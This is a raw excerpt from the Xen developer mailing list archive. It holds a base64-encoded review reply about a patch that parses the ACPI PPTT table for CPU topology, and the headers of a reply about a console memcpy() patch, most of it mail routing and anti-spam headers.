 b=TQldbF6VCQy5ipawgVCXWsug0vEJeSYtHgImIoPtUywSxNmodeOXipLtPapqetkgjRL0kelWkSdDGny8JsyXbkDgazCKJbYmyaFWduP+KKK3RNSJK9vv/qX7hmb3KSepsSJbfEVnHKg8z24/+Rg71n60JiKMP+HR+PApJqjAsPmYVip0saAuwaYzsdPpNRNOAnPeqRigXro2fTXkbsOwJGB7VwLh/1ah+ghAdQVlj1mBCxoUtECbfNrIsi8s6wUyVAssUZY8zgfUY78/nHNkwQ4710dzEVI7Y01rrW1vg8yEhz6eWi+L+9lE5Y6SjUz2yYBWEyD/GHV2uO7Y7amUTQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=DVeqx5bqHC1m86JR2w9nU597L7rl0iqQ3jF2E/MLGXQ=;
 b=SyKhCB5KR3dJ++tkEXzxsC7qiJio5D8rcW14Z26B40pjrfk4hBLlPcGuuFW3fdixmuVJ/6EdRNRs5eQCm29GPIAH21QlkSvBPZ5xIkNuUl9X7h0LVKJtUewNMj9HxgfouiSNOvDv+AGLKePtS9M3bL2/lJQhD4edFZlx3zbwkwvp4Bxxo0TtS5bJhYHb8ykyF7kSX+4LrP0d+s9Gu7kgZJqv+QSPe2mXJmtHRea3UyKvLZoj+TTw3inh5VhYP6ruCkZPoFWhsgWnvMB7f+JVuq+sIVSBblAiVEfhrRkvlXXKRwIG9ECi59MNzioxIDUqi78iL5QDCDko0E9HApScYQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=DVeqx5bqHC1m86JR2w9nU597L7rl0iqQ3jF2E/MLGXQ=;
 b=oEesq9YUh8L1nrrXCPBBXHH6MVQEIa2SiGSqurLL0OrZBVvHXa8yJ1dL1Y11YkQ1be/LLATDRDOdHktHvECrMtI6Rv86iyGDS5OeHr85YcxP+aMvU/kvmG3ObV5FaeW0lTbFXFQpnT/aJwyXdcDEdgbcVTtpuwsc3Cu42Vuoadc=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: "Mykyta_Poturai@epam.com" <Mykyta_Poturai@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, Volodymyr
 Babchuk <Volodymyr_Babchuk@epam.com>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>,
	=?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?= <roger.pau@citrix.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v6 5/5] xen/acpi: Parse PPTT to initialize CPU topology
Thread-Topic: [PATCH v6 5/5] xen/acpi: Parse PPTT to initialize CPU topology
Thread-Index: AQHdE336EabuJxSEHUSo4bExE1f467ZwQwuAgAD1uqA=
Date: Fri, 17 Jul 2026 06:01:59 +0000
Message-ID:
 <OS9P286MB7222DD373E8894ED9E53B53882C62@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260714104445.919830-1-taka@valinux.co.jp>
 <20260714104445.919830-6-taka@valinux.co.jp>
 <df837a87-7cab-4da6-94e1-cf017960209e@suse.com>
In-Reply-To: <df837a87-7cab-4da6-94e1-cf017960209e@suse.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|TYRP286MB4688:EE_
x-ms-office365-filtering-correlation-id: 5a423f97-32d8-4eb8-8fd7-08dee3c8ea2b
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|376014|366016|23010399003|7416014|1800799024|38070700021|10067099003|22082099003|56012099006|4143699003|18002099003;
x-microsoft-antispam-message-info:
 3atv1Q/Glp8qNqp8Q5AT6ewDYH7Yy09UrsHUWaRcMiWFchVYhvNVgQYZt+sMfEFugSkLTiMtsPhiGlaW31WkrAXot96h5/fwArjy723fXHi/YuWKgd0vCPFKcI6Ta/SXsPWC0+RL7OMJR6seF41qxJTOmbUOLplJzq+JtewybJKsBYrfOyyrm65w0aSJCMT/qmr0Pb6/YE9oGZktmiN9dSrt8qQNdrQV83DxcnPn1mCiNg+ZORyfrGFEkS8gzZh2rVkRNY9BPHEH4rH6OksFK8tPQpZ4PUVOYnT6b3g/8ZFwfw6Dp2UA706L5r+9xewLOMAtULSTDuO+lQRdRfliPd40n70MkwFQYuWBnQzVBXvEMgPJd6+4mITSKl3OD7w15bEJYL1SoLL15CVp8iA250ObIzoWrL+XK0vsqRCV5Lg3n5tk9ghAjYNpB+eLpHcrA4rGVODMjlgP8uJlW5Mdnh4bpHcnwCTg1HkCKblJ+ut3BscdZUZobJfdxWuahFvkIaO9aeuFn8uAe2ZCH7OV7OOB4WCsYcBvLpeo3JlaibOCeEFQm7PhH8lrQjt5+veyJ0F+x1Xbapg0lvEVbgdziBYGtvHU9EYBi5cPrGuW0YvW/n47VByicyiOQzVk5n7FeBvteAmQ1tnsscEajNVEghdPvT9oo0dYb9F1Wf2lXQ5WpBU7X3w8JAxwMkQ9EbAPo1YpvpbOYbyy7H6WgbZ7mA==
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(376014)(366016)(23010399003)(7416014)(1800799024)(38070700021)(10067099003)(22082099003)(56012099006)(4143699003)(18002099003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?Q1hrTVJGRFRIV01LSnJDYTRUR3NqYXdIb2owOVRvYjkrRWpGSGRZYTNGSVJl?=
 =?utf-8?B?NU1pTEJhd0ZhK3VLRUZId3NzY25nMHZIRnZCcEI4ZGRMT0FPeXNOOHYwRVBM?=
 =?utf-8?B?STRQZ2U4U2MrZzRleDR1S3N1R2NTa2RuZlU2SGxnVVlJV2RVOFQwRDJ6c0VE?=
 =?utf-8?B?dVJVSXUxaCtOSUlieHRFVFRuWndOM0FFVDhXaTFxQVVPY0hhTVRwaTcyRE9V?=
 =?utf-8?B?bU1TL2tOWkRob1BZUE1IRmpOOUVaWEpuT1h2N3ZKZExwNzE3Yi9odG5pdFoy?=
 =?utf-8?B?UTlLU1hIWm80RFV3ZlJzaVluTC9vdXVvRGd4SUFSd0pBK21NSDY5R3FWeHZs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XlLOElKL256QmZnTit5QVAv?=
 =?utf-8?B?MWR1RUcwYjlRVm8vZHZ4VEMrNm82WWJtamN4QmRxdXpnRHJtRmI0b3VOSFFZ?=
 =?utf-8?B?TjZnYzlzYmhJTEJNM3dZZ0pOdlJzbE03Mm03UEhZUFR0Zi93K3RYR2xSR0dj?=
 =?utf-8?B?NjV4ZWJVc2VQUElrY0lXRDYxUytDbUdzZndFWnZHL1Z2VzRmTXlVeTloUWZq?=
 =?utf-8?Q?u2if/Y0hV4uufteyWb?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: 5a423f97-32d8-4eb8-8fd7-08dee3c8ea2b
X-MS-Exchange-CrossTenant-originalarrivaltime: 17 Jul 2026 06:01:59.4565
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: LmJJmCB7EyN0nmuBc7DZ7Jz0QEEKMrHZ85Obox96YEeYMXEp8ZZJnTOW6lcbbCfI9P5iLETIHq+TDlmN37i7YA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYRP286MB4688
X-purgate-ID: tlsNG-33051d/1784268125-74E874E9-A64FA7B4/0/0
X-purgate-type: clean
X-purgate-size: 3688

SGkgSmFuLA0KDQo+ID4gK3N0YXRpYyBjb25zdCBzdHJ1Y3QgYWNwaV9wcHR0X3Byb2Nlc3NvciAq
X19pbml0IGZpbmRfcHB0dF9ub2RlKA0KPiA+ICsgICAgY29uc3Qgc3RydWN0IGFjcGlfdGFibGVf
cHB0dCAqcHB0dCwgdWludDMyX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IgYW5kIGxhdGVyLiBBc3N1bWUgbm8gdGhy
ZWFkaW5nIHN1cHBvcnQgd2hlbg0KPiA+ICsgICAgICAgICAgICAgICAgICogUFBUVCByZXZpc2lv
biBpcyAxLg0KPiA+ICsgICAgICAgICAgICAgICAgICovDQo+ID4gKyAgICAgICAgICAgICAgICBp
ZiAoIHByb2MtPmZsYWdzICYgQUNQSV9QUFRUX0FDUElfUFJPQ0VTU09SX0lTX1RIUkVBRCApDQo+
ID4gKyAgICAgICAgICAgICAgICAgICAgdGhyZWFkaW5nID0gdHJ1ZTsNCj4gPiArICAgICAgICAg
ICAgICAgIGVsc2UNCj4gPiArICAgICAgICAgICAgICAgICAgICBjb3JlX2dyb3VwX2tleSA9IG9m
ZnNldDsNCj4gPiArICAgICAgICAgICAgfQ0KPiA+ICsgICAgICAgICAgICBlbHNlIGlmICggbGV2
ZWwgPT0gMSApDQo+ID4gKyAgICAgICAgICAgIHsNCj4gPiArICAgICAgICAgICAgICAgIGlmICgg
dGhyZWFkaW5nICkNCj4gPiArICAgICAgICAgICAgICAgICAgICBjb3JlX2dyb3VwX2tleSA9IG9m
ZnNldDsNCj4gPiArICAgICAgICAgICAgICAgIGVsc2UNCj4gPiArICAgICAgICAgICAgICAgICAg
ICBjbHVzdGVyX2dyb3VwX2tleSA9IG9mZnNldDsNCj4gDQo+IE1pY2ggbGlrZSB5b3UncmUgb21p
dHRpbmcgYnJhY2VzIGhlcmUsIHlvdSBjYW4gYWxzbyAuLi4NCj4gDQo+ID4gKyAgICAgICAgICAg
IH0NCj4gPiArICAgICAgICAgICAgZWxzZSBpZiAoIGxldmVsID09IDIgJiYgdGhyZWFkaW5nICkN
Cj4gPiArICAgICAgICAgICAgew0KPiA+ICsgICAgICAgICAgICAgICAgY2x1c3Rlcl9ncm91cF9r
ZXkgPSBvZmZzZXQ7DQo+ID4gKyAgICAgICAgICAgIH0NCj4gDQo+IC4uLiBvbWl0IHRoZW0gaGVy
ZS4NCg0KT2theS4NCiANCj4gP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GlzIHBhdGNoIGFnYWluc3QgdGhlIGdlbmVyYWwgY29t
bWVudHMgZnJvbSBlYXJsaWVyIHBhdGNoZXMgYXMgd2VsbC4NCg0KVGhhbmsgeW91LA0KSGlyb2th
enUgVGFrYWhhc2hpLg0K


From xen-devel-bounces@lists.xenproject.org Fri Jul 17 06:18:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 06:18:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364658.1615675 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkbu3-0005eo-Ic; Fri, 17 Jul 2026 06:18:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364658.1615675; Fri, 17 Jul 2026 06:18:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkbu3-0005eh-Fn; Fri, 17 Jul 2026 06:18:31 +0000
Received: by outflank-mailman (input) for mailman id 1364658;
 Fri, 17 Jul 2026 06:18:30 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wkbu2-0005eZ-1v
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 06:18:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkbu1-008NPZ-7g
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 08:18:29 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a59c929-5cb7-0a2a0a5109dd-0a2a450a9144-10
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 08:18:29 +0200
Received: from [148.163.143.241] (helo=mx0b-00498f03.pphosted.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a59c92e-f2d2-0a2a450a0019-94a38ff135e8-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 08:18:23 +0200
Received: from pps.filterd (m0367130.ppops.net [127.0.0.1])
 by mx0b-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66H5j7YS340102
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 06:18:22 GMT
Received: from dm5pr21cu001.outbound.protection.outlook.com
 (mail-centralusazon11011009.outbound.protection.outlook.com [52.101.62.9])
 by mx0b-00498f03.pphosted.com (PPS) with ESMTPS id 4ffeh805u8-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 06:18:22 +0000 (GMT)
Received: from DS7PR03CA0119.namprd03.prod.outlook.com (2603:10b6:5:3b7::34)
 by DM6PR16MB3862.namprd16.prod.outlook.com (2603:10b6:5:294::19) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.13; Fri, 17 Jul
 2026 06:18:16 +0000
Received: from CY4PEPF0000FCC0.namprd03.prod.outlook.com
 (2603:10b6:5:3b7:cafe::2b) by DS7PR03CA0119.outlook.office365.com
 (2603:10b6:5:3b7::34) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.12 via Frontend Transport; Fri,
 17 Jul 2026 06:18:16 +0000
Received: from mx0a-00498f04.pphosted.com (205.220.161.53) by
 CY4PEPF0000FCC0.mail.protection.outlook.com (10.167.242.102) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.5
 via Frontend Transport; Fri, 17 Jul 2026 06:18:15 +0000
Received: from pps.filterd (m0426318.ppops.net [127.0.0.1])
 by mx0a-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66H31kkl3450902
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 02:18:15 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [34.209.42.160])
 by mx0a-00498f04.pphosted.com (PPS) with ESMTPS id 4fc493q20g-4
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 02:18:14 -0400 (EDT)
Received: from localhost ([19.12.76.222]) by cmsmtp with ESMTPSA
 id kbtkwLJGmuq5TkbtlwImaW; Fri, 17 Jul 2026 06:18:14 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-type:date:from:in-reply-to:message-id:mime-version
	:references:subject:to; s=ppford; bh=wTbv5APj0X4h+JTSNP+IH6Ed93/
	aqOG9yhDTnqNdTgE=; b=Ldj/dtnjoemiy5s+/ebRxq1JHdPIv6G7UN1SD5uJMe6
	XfexCAYF74E1AWg2sf4RGigJ4fxE3Pg5kvB4RsDilhNMmsF3eszcla702x9lIe1T
	VP7DQemRbhLX+meXMbwxnMKadQBGM4WdRl85f71lOXxZDKM93ZpF1h/q75R3yXWa
	w65fUazfWMfZfQty5ahes0eZN8767Y8PKM1GK2NB9mhP0uvwiQyLUWK5nATZfATv
	BEzcAPqYkRjK4AP+cyqWmyCvGtnwcf4kkzDV13a8rOrASbEdW0uAPYlOK0e9Co+F
	CZnPj4GkbHQMJKt26DZyHKp2vBY1kaemDaco++pl1+A==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=G1zGPxhjgv5mguwRsmaPEAO2rnzy0I4YfnjB2S3Z4PAPFEF6dlKmqtCuaPgG8JGhY9tH0g1QDze2masjoFqzRUyDF2Apgy6jWbUHucdlEYJrkOqzt53/PyxD01/PsjxlRCZqugdNY1UoES3p+eSMHRKLJERLl8UM3vPIW4Gxx3lTQi3SSJ4VDnCLahYTt9pTAsG1IqzbENgFpn1ICKYASflscg+x4fGCTJN5LvZvmUnbqmMHATbruhFYBwhE+hCeJoCAFH0PUo6E+9o7rEL8ARG3OjpwELyUS6hSVMsbciaOA2Nqw2lgayMuevr7ogFNOM8wfPedoTsJZ4rvvEOwWg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=wTbv5APj0X4h+JTSNP+IH6Ed93/aqOG9yhDTnqNdTgE=;
 b=ah5huPgCsHr9tMrLQQkl6MGpVS8KcjUBugR+OrLvsughge9loHKq6WSwSi9ggxIdNZPSRsbn1S9wFEYlpJOQbPhC+IEl6UPwLwFrHawG0SlRl33YEPlu3iXz7bH44x/AHc2ATuYM6ZExNzNi5eDrYquHIQlMJQTeDZ2vHsEQU0fRj+UL7Yt11nUajBVJR92n2mK7OGKwkzAIodmc2bhZmyUqNWeDJbQU7RhUTEVshrBF/0XtLM61kz8+f3/fyD9u1siYEKk12L/W8kL8dRwz8gM0iJ0HFthMVpNnpm1KNaOQGM+x6HSi2T8Tmqm3DZGNBoGFXmE7La82YacagS9ZzQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 205.220.161.53) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=wTbv5APj0X4h+JTSNP+IH6Ed93/aqOG9yhDTnqNdTgE=;
 b=HXHiZjSRDv+F2fs4QOg9/0NEHNpkQE8ATJYC+IIp+Idu7yC37ZoiVCEYbrNfP/EfwWGyF4hY1V410o1f3KgrGo+J7JsxrBDLhxqvxKcjQGk0SD2jX8TFr1T5++ew+sS0/BwxbuYWUQdmFa12yHZftwZKqpl+/N/rsgmlmmKTna0=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 205.220.161.53)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 205.220.161.53 as permitted sender) receiver=protection.outlook.com;
 client-ip=205.220.161.53; helo=mx0a-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppserprodsaar;
	 bh=wTbv5APj0X4h+JTSNP+IH6Ed93/aqOG9yhDTnqNdTgE=; b=TVoBSZFpeKdW
	UyfYXnX1icRRDdxv/6jQ4gFhMv1Y1WRHNNHNk6MCqpkJpMwdLVXrKnxpVReBkSOu
	A9LkTqEQpsDj1IGKK1jz3VmSARigT0j7fAPx53bKAcV4TIOQgaarE3LO0KDCD0O/
	DUECHMKDQlNWC7IPDv+wLF3JXh6c6BUE065ulFpIc8QXIQ5MLclhSwzSUZudZVaz
	g7YdrlQBcKzU+PKpVYKMmm9ye4pUq0mWA5fSLYyCPlBUunGyIi0rWpFHFgAW7Otf
	O08fGMIeaXMgkKENZS/IihTvJXMPSjuA3sIaZVGFkSiTC5XEZlYgOz3sw0aziW1b
	Oy0D6kJr/A==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-type:date:from:in-reply-to:message-id:mime-version
	:references:subject:to; s=ppfserpocford; bh=wTbv5APj0X4h+JTSNP+I
	H6Ed93/aqOG9yhDTnqNdTgE=; b=H29E1baOZS9kS7Uyps0qs1MgRDGY8b7d2vAR
	PXy1AEETfJe8zEysrWczHiU8c70frQZiFD71ORBM6LAJq8OAglrz73yiVeFyjmV6
	rF1TggFbjCHSc2psCQSvgfiyjx37wDQ0VaQw1W10Uds4OJWSeajeb9+9heoluZAY
	c2spEGrA8Ko2nl6PgwlZkmvRjlJvlh4dPEeeQijFPV0Tn8uakODIb7l1Dg81pALY
	0Nj4SlbFza5s/3ec3slkNQHT4l3DB4cqF/84uMSy8rVSbTzbg0EUCJwi29bf4EK0
	nfI24uItTxqe0o73m1lRSPEgCy8vPH4U1KfIrnGfBt/AtDwnnw==
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: kbtkwLJGmuq5TkbtlwImaW
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
Date: Thu, 16 Jul 2026 23:18:11 -0700
To: Jan Beulich <jbeulich@suse.com>
Cc: dmukhin@ford.com, andrew.cooper3@citrix.com, anthony.perard@vates.tech,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, xen-devel@lists.xenproject.org
Subject: Re: [PATCH v7 3/7] xen/console: use memcpy() in conring_puts()
Message-ID: <alnJI+8Whp3ES3Hz@kraken>
References: <20260713181619.672176-1-dmukhin@ford.com>
 <20260713181619.672176-4-dmukhin@ford.com>
 <40223b4b-4cf4-4cd2-8085-5323784b2d33@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <40223b4b-4cf4-4cd2-8085-5323784b2d33@suse.com>
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-17_01,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 adultscore=0 lowpriorityscore=0 phishscore=0 spamscore=0 bulkscore=0
 malwarescore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607170060
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CY4PEPF0000FCC0:EE_|DM6PR16MB3862:EE_
X-MS-Office365-Filtering-Correlation-Id: dc8574ca-fb71-4a4f-feae-08dee3cb3029
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|36860700016|82310400026|376014|23010399003|18002099003|22082099003|4143699003|10067099003|56012099006|11063799006;
X-Microsoft-Antispam-Message-Info:
	LMwgi6cWbnD/byMoETZD9/TDWW52tNgjvEqc+lf1oLBR9YmRpbvKgIPDUwZxOeFXJWwm6Y+YcFoGekr+L42/tUSonYNwwtLq0+iWTUeT/BefauM3Zc+ig1zPaoy2GQXALMnuF6i7qHeEyMhfeFhXZAZmd5uoG9n2vSLmwSC6BlLjlqggTBvGr9/IntHZB+17dLChUNfsotSJCs+8VrqU0KX3TmdKEx74i78sfG06tvK9Q5n72v1Uf1kdLbnHi0quBXgxWhT3oBZOt4ZxGji65+HiKg5ZdDZ5Ld5UHqNE44ABsGZ2bBpDGHRSP94yNxT7EaQ0PgFoq5H1AODaRgtJz/F+CiqO09fA0Qd2ASYQ9Ij65XBmtvCvmsGAVIcyrjKNbVsMVDxnaWFcVtM1RNO/ts+rxbQBxGwDTBhokCxwZs31VCkXWiMWBT55ZHc+XyDA6xP512vEdABuxS8acrlFgr3zCbEN3h2t6dxW3yWIoZWrMLG8XdwN04cUWQITf60ffa9wR1OtHTI4/e+HQZAI1e8QcKzaU4uiYSE03ydq1Ez6yMuIOdU1wgmF/CKsOwcZGf2/6fRqW6jKS/kzs1S5dcXjSvIMn5+jk1BqJvAWev01RGfgIHeE3xtnDibNbybN+NiktqKCm73Nq6z38uXytL7egr384j5jDImJYSUeu1X+m949b26hO6tmzWWsjOIeCjhwHh0tA7p8bzbCLK8Nvg==
X-Forefront-Antispam-Report:
	CIP:205.220.161.53;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0a-00498f04.pphosted.com;PTR:mx0a-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(1800799024)(36860700016)(82310400026)(376014)(23010399003)(18002099003)(22082099003)(4143699003)(10067099003)(56012099006)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	a+Om6Z4H5IesHoj9hha5vwcrYUWTZErysxyKzCf7hDj36oRBN8fgRKSCakMYtzbMCsFH2BnytATvIts+XZ3jSOYdCuoCIPUC/tAG7dCkpyb1OAl2A/tw6A5Q9uPgPvvyuNOOLmrnOHuLe6Ixb8UjxEiTbj85m5TaT1HRUcWBY1HdKI6OtROpLBgnPA/5CPAjEl0FLUF21E46U+b0aQKrjTRV9nYpm4Uh4a5fHIiHrUqIDosKU7LCee+TwOAb+KAvXdsmYjNa4oGgA4wAiRyR48xKgVsrcA7jXOertciUdXg/yhVlHUa0lMjmNDJvW4ASCoUipSPWrw0UCqRSTHLK3bvptYv+42THgNgmYsmoYuadurQWP/v0LdfmrjbiVY2MIhE+/j1DKI1lCaT15mrSr6OfTaTBeB/wnHckddA0VUe0jxLh9Yf/Smq6d/VqcV1M
X-Exchange-RoutingPolicyChecked:
	j7lG9Ag/TmqDSOOlx54FD2qvl2k/pzKxIDR1NUlXk5OoyDbnkA/R8dF7H8oXO5D8SWh6Ln49P/NfgXRzcm0ml1TCAL9gLpYrSUcKTn5/IHiTZHVw8IKje7PEgtK/zyPNTrZRt0/PwKoW5VegRrtI25LYgy52HQiMg195/o+YUa7ZRTbg9NREqF7mVroCa37zy0WL7uKEnsR0JdADeL5YVy/VvEnd2NYCC/PdwRv/7zTk2R+6wpQfULhomfTVvhQvyy44frBLtAgo8xspj/DyBTNVH858XIU0D68+lmtdtJBnLqhDZGHkCoilkL+aa0NkZeHoDT65l2TMylOszbvaOg==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
